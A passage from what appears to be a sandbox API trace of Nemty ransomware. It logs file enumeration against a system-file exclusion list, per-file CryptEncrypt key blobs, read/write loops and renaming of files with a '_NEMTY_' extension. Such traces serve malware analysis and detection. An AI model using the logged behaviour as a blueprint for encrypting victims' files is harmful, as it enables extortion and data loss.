dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0157.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0157.993] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8.png", lpUsedDefaultChar=0x0) returned 5 [0157.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.993] Sleep (dwMilliseconds=0x5) [0157.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11d1aab0, dwHighDateTime=0x1d561e8)) [0157.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11d1aab0, dwHighDateTime=0x1d561e8)) [0157.995] GetLastError () returned 0x5 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.995] GetLastError () returned 0x5 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.995] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.995] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.995] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.995] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="99ZRW75Wdg6V1mFlZ1oYxUn7zFdCIxIZiCzPDo+2k7mCSS5VdTjK92Xl/Dg2fr4h\r\ncg+zGYSYMRO0PROyTvTtx5LG6zquDLNjmvXAMqNN6I0ACm1NBLg6pAr3Ud4MpAph\r\numSpR1kWAxQplcVruz76JCl4Ve1s7r0WOWyKIGZdm3Qa+73+LioebSbo1h23dyhf\r\nonCiFpuuRx0nKG3nLCOqe3+Eu4eLcDeponz3DzlmER8kG2wrHS7QiH/nk1V2TgD3\r\n8Itto6x2QcIQ/+ZPleVwxMGqyJ04sveN7fdE1sFgWXnNWPopc0wTbq7xMUR4cf6p\r\nDJpnt+U1gOSNS5AY1+31gg==\r\n", pcchString=0x653e91c) returned 1 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.995] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.995] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.995] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.995] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.996] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.005] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.005] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.023] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.023] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.023] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.039] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.061] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.061] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.061] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.070] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.070] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.070] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.079] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.079] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.079] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.089] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.104] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.104] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.104] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0158.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.110] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0158.110] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0158.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0158.110] CloseHandle (hObject=0xffffffff) returned 0 [0158.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0158.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0158.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0158.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0158.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0158.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0158.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0158.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\8.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\8.png._nemty_kgobjgd_")) returned 0 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0158.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0158.111] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c1358c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86c1358c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aee1b21, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="9.png", cAlternateFileName="")) returned 1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2=".") returned 1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="..") returned 1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="...") returned 1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="windows") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="$RECYCLE.BIN") returned 1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="rsa") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="NTDETECT.COM") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="ntldr") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="MSDOS.SYS") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="IO.SYS") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="boot.ini") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="boot.ini") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="AUTOEXEC.BAT") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="ntuser.dat") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="desktop.ini") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="CONFIG.SYS") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="RECYCLER") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="BOOTSECT.BAK") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="bootmgr") returned -1 [0158.111] lstrcmpiW (lpString1="9.png", lpString2="programdata") returned -1 [0158.112] lstrcmpiW (lpString1="9.png", lpString2="appdata") returned -1 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0158.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9.png", lpUsedDefaultChar=0x0) returned 5 [0158.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0158.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0158.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0158.112] Sleep (dwMilliseconds=0x5) [0158.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11e4b5b0, dwHighDateTime=0x1d561e8)) [0158.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x11e4b5b0, dwHighDateTime=0x1d561e8)) [0158.119] GetLastError () returned 0x5 [0158.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0158.119] GetLastError () returned 0x5 [0158.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0158.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0158.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0158.120] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0158.120] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0158.120] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="PgohPrwuGkyaGM9Je2p7bKK0pNu3sMpH/YRmWUlPqpcw8/u6FjEind1JUpwlzdIy\r\nf3KuimhZPCcMstdkP0ufhi/dLBYR0fkOCKS7+H2wOluXYhxgJpy6MRuAfDBBBtvn\r\n2hfCff5t2zkRGDwi9yCEcxj+3tH5kxF/qFWMfMvPzTeM3ptaZF7W91Hxs5dIKBKx\r\n/WLnX6oxljsh4QYXt3D0CHuCbFgD7PjplYVDUnkZk1xmi3Ti5GFOAewVO4wjV6av\r\nyWgL+g/z9ndxCuMMJC/SCSuMh6k9GDtIklHg5oDGXxb1ZFahMXdPJvvOi6OhxEmw\r\n0svqfbZVZanZ0iYz9v4pWg==\r\n", pcchString=0x653e91c) returned 1 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0158.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0158.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0158.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) 